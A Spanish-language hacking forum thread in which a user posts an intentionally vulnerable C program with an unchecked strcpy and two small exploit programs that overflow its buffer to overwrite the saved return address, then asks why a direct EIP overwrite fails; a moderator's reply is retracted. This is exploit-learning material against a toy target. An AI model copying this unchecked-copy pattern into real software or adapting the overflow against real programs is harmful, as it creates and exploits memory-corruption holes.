elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Sustitución directa del EIP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Sustitución directa del EIP  (Leído 3,080 veces)
Lodos76

Desconectado Desconectado

Mensajes: 49


Ver Perfil
Sustitución directa del EIP
« en: 5 Marzo 2014, 19:31 pm »

Buenos días.

Quiero preguntar sobre sustituir el EIP directamente (en un BoF) sin usar un JMP REGISTRO, el porqué da error.

El código es el siguiente:
vuln1.c
Código
  1.    /* vuln1.c por Rojodos */
  2.  
  3.    #include <stdio.h>
  4.    #include <string.h>
  5.  
  6.    int main (int argc, char **argv)
  7.    {
  8.    char buffer[64]; //Declaramos un array con 64 bytes de espacio
  9.  
  10.    if (argc < 2)
  11.    {
  12.    printf ("Introduzca un argumento al programa\n");
  13.    return 0;
  14.    }
  15.  
  16.    strcpy (buffer, argv[1]); // Aqui es donde esta el fallo
  17.  
  18.    return 0;
  19.    }

Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?

exploit1.c
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc,char **argv) {
  6.  
  7. char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"; // Para llenar el buffer, lo que haya antes del RET ADDRESS y sustituir el RET ADDRESS
  8.  
  9. argv[1] = "vuln1";
  10. argv[1] = evilbuffer;
  11. argv[2] = NULL;
  12.  
  13. execv ("vuln1.exe", argv);
  14.  
  15. return 0;
  16. }


exploit2.c
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc,char **argv) {
  6.  
  7. char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y lo que haya antes del RET ADDRESS
  8. char EIP[] = "\x7B\x46\x86\x7C"; // RET ADDRESS = 0x7C86467B
  9.  
  10. strcat(evilbuffer, EIP);
  11.  
  12. argv[1] = "vuln1";
  13. argv[1] = evilbuffer;
  14. argv[2] = NULL;
  15.  
  16. execv ("vuln1.exe", argv);
  17.  
  18. return 0;
  19. }
En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.465


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: Sustitución directa del EIP
« Respuesta #1 en: 5 Marzo 2014, 23:56 pm »

Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?

No. En exploit2.c estas declarando la variable EIP[] con lo que haces que el stack frame crezca (4 bytes mas).

No tengo aqui para compilar, pero prueba dejando las T's en el 2° ejemplo...

Saludos!

EDIT:

Olvidate de lo anterior. Necesito dormir...  :P
« Última modificación: 6 Marzo 2014, 03:19 am por MCKSys Argentina » En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

Lodos76

Desconectado Desconectado

Mensajes: 49


Ver Perfil
Re: Sustitución directa del EIP
« Respuesta #2 en: 6 Marzo 2014, 01:53 am »

??
exploit2.c está explotando a vuln1.c, y en exploit2.c la variable EIP se concatena a evilbuffer, así que la pila no se modifica.
De todos modos lo he probado y me ha salido lo mismo, ya que no pusheo datos, sinó que los meto en la pila mediante un BoF (sustituyo lo que había anteriormente :D).

Salu2
En línea

Lodos76

Desconectado Desconectado

Mensajes: 49


Ver Perfil
Re: Sustitución directa del EIP
« Respuesta #3 en: 10 Marzo 2014, 00:34 am »

borrar
« Última modificación: 10 Marzo 2014, 00:51 am por Lodos76 » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Criptografía - Cifrado por sustitución
.NET (C#, VB.NET, ASP)
hadree 2 8,427 Último mensaje 22 Noviembre 2010, 19:14 pm
por hadree
Sustitución de Break por otra cosa.
Programación C/C++
samur88 6 3,797 Último mensaje 12 Mayo 2011, 23:25 pm
por samur88
opcion batch o vbs en sustitucion de schtasks.
Scripting
guajolote_vengador 9 8,994 Último mensaje 26 Marzo 2012, 07:26 am
por Eleкtro
Ayuda: con sustitución de funciones « 1 2 3 4 »
Programación C/C++
do-while1 31 10,656 Último mensaje 7 Marzo 2013, 20:13 pm
por leosansan
Cifrado por sustitucion ASM
ASM
capiil4d 1 2,688 Último mensaje 19 Junio 2013, 11:23 am
por Eternal Idol
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines